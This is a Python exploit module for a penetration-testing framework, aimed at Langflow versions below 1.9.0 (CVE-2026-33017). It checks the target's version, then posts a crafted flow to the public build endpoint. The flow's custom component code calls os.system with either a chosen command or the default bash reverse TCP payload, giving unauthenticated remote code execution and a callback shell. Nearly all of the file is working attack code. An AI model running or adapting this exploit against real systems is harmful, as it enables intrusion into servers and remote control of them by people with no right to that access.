Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)",
        "description": (
            "CVE-2026-33017: Langflow versions below 1.9.0 allow unauthenticated remote code "
            "execution by posting a malicious custom component to "
            "/api/v1/build_public_tmp/{flow_id}/flow with a client_id session cookie."
        ),
        "author": ["Diamorphine", "KittySploit Team"],
        "cve": ["CVE-2026-33017"],
        "references": [
            "https://www.langflow.org/",
            "https://www.cve.org/CVERecord?id=CVE-2026-33017",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD, Arch.PYTHON],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["langflow", "rce", "unauthenticated", "cve-2026-33017"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 'medium',
        'noise': 'medium',
        'value': 'high',
        'chain':         {'produces_capabilities': [{'capability': 'ai_panel', 'from_detail': ''},
                                   {'capability': 'misconfig_surface', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['scanner/http/ollama_api_verify',
                                 'scanner/http/openwebui_unauth_verify',
                                 'scanner/http/comfyui_unauth_verify',
                                 'scanner/http/mlflow_unauth_verify']},
    },
    }

    port = OptPort(7860, "Target port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    path = OptString("/", "Base path where Langflow is exposed", required=False)
    flow_id = OptString("", "Target flow ID (from /api/v1/flows/ or the UI URL)", required=True)
    client_id = OptString("", "Langflow client_id cookie value", required=True)
    command = OptString("", "Command to execute instead of the selected payload", required=False)

    @staticmethod
    def _version_lt(v1: str, v2: str) -> bool:
        def norm(v):
            out = []
            for token in str(v).split("."):
                digits = "".join(ch for ch in token if ch.isdigit())
                out.append(int(digits) if digits else 0)
            while len(out) < 3:
                out.append(0)
            return tuple(out[:3])

        return norm(v1) < norm(v2)

    def _api_path(self, suffix: str) -> str:
        base = str(self.path or "/").strip() or "/"
        if not base.startswith("/"):
            base = f"/{base}"
        if base.endswith("/"):
            base = base[:-1]
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return suffix if base == "" else f"{base}{suffix}"

    def _resolve_command(self) -> str:
        user_command = str(self.command or "").strip()
        if user_command:
            return user_command
        if not self.payload:
            raise ValueError("No payload configured; set LHOST/LPORT or use COMMAND")
        return str(self.payload)

    @staticmethod
    def _escape_for_python_string(value: str) -> str:
        return value.replace("\\", "\\\\").replace('"', '\\"')

    def _build_component_code(self, command: str) -> str:
        escaped = self._escape_for_python_string(command)
        return (
            "import os\n\n"
            f'_x = os.system("{escaped}")\n\n'
            "from lfx.custom.custom_component.component import Component\n"
            "from lfx.io import Output\n"
            "from lfx.schema.data import Data\n\n"
            "class ExploitComp(Component):\n"
            '    display_name="X"\n'
            '    outputs=[Output(display_name="O",name="o",method="r")]\n'
            "    def r(self)->Data:\n"
            "        return Data(data={})"
        )

    def _build_flow_payload(self, command: str) -> dict:
        code = self._build_component_code(command)
        return {
            "data": {
                "nodes": [
                    {
                        "id": "Exploit-001",
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "id": "Exploit-001",
                            "type": "ExploitComp",
                            "node": {
                                "template": {
                                    "code": {
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "multiline": True,
                                        "value": code,
                                        "name": "code",
                                        "password": False,
                                        "advanced": False,
                                        "dynamic": False,
                                    },
                                    "_type": "Component",
                                },
                                "description": "X",
                                "base_classes": ["Data"],
                                "display_name": "ExploitComp",
                                "name": "ExploitComp",
                                "frozen": False,
                                "outputs": [
                                    {
                                        "types": ["Data"],
                                        "selected": "Data",
                                        "name": "o",
                                        "display_name": "O",
                                        "method": "r",
                                        "value": "__UNDEFINED__",
                                        "cache": True,
                                        "allows_loop": False,
                                        "tool_mode": False,
                                        "hidden": None,
                                        "required_inputs": None,
                                        "group_outputs": False,
                                    }
                                ],
                                "field_order": ["code"],
                                "beta": False,
                                "edited": False,
                            },
                        },
                    }
                ],
                "edges": [],
            },
            "inputs": None,
        }

    def check(self):
        try:
            response = self.http_request(
                method="GET",
                path=self._api_path("/api/v1/version"),
                timeout=15,
            )
            if not response or response.status_code != 200:
                return {
                    "vulnerable": False,
                    "reason": "Unexpected response from /api/v1/version",
                    "confidence": "low",
                }

            try:
                body = response.json()
            except Exception:
                body = {}

            version = str(body.get("version", "")).strip()
            if not version:
                return {
                    "vulnerable": False,
                    "reason": "Unable to parse Langflow version",
                    "confidence": "low",
                }

            if not self._version_lt(version, "1.9.0"):
                return {
                    "vulnerable": False,
                    "reason": f"Version {version} detected (patched >= 1.9.0)",
                    "confidence": "high",
                }

            return {
                "vulnerable": True,
                "reason": f"Langflow {version} (< 1.9.0) detected",
                "confidence": "high",
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def run(self):
        flow_id = str(self.flow_id or "").strip()
        client_id = str(self.client_id or "").strip()
        if not flow_id:
            print_error("FLOW_ID is required")
            return False
        if not client_id:
            print_error("CLIENT_ID is required")
            return False

        check_result = self.check()
        if not check_result.get("vulnerable"):
            print_error(check_result.get("reason", "Target does not appear vulnerable"))
            return False
        print_success(check_result["reason"])

        try:
            command = self._resolve_command()
        except ValueError as exc:
            print_error(str(exc))
            return False

        payload = self._build_flow_payload(command)
        url = self._api_path(f"/api/v1/build_public_tmp/{flow_id}/flow")

        print_status(f"Triggering public build on flow {flow_id}...")
        try:
            response = self.http_request(
                method="POST",
                path=url,
                headers={"Content-Type": "application/json"},
                data=json.dumps(payload),
                cookies={"client_id": client_id},
                allow_redirects=False,
                timeout=30,
            )
        except Exception as exc:
            if "timed out" in str(exc).lower() or "timeout" in str(exc).lower():
                print_success("Request timed out; reverse shell may have connected")
                return True
            print_error(f"Exploitation request failed: {exc}")
            return False

        if response is None:
            print_error("No response from target")
            return False

        status = response.status_code
        if status == 200:
            print_success(f"Build request completed (HTTP {status})")
            print_info("If the target is vulnerable, a callback should follow.")
            return True

        print_error(f"Unexpected response (HTTP {status})")
        body = (response.text or "").strip()
        if body:
            print_info(body[:500])
        return False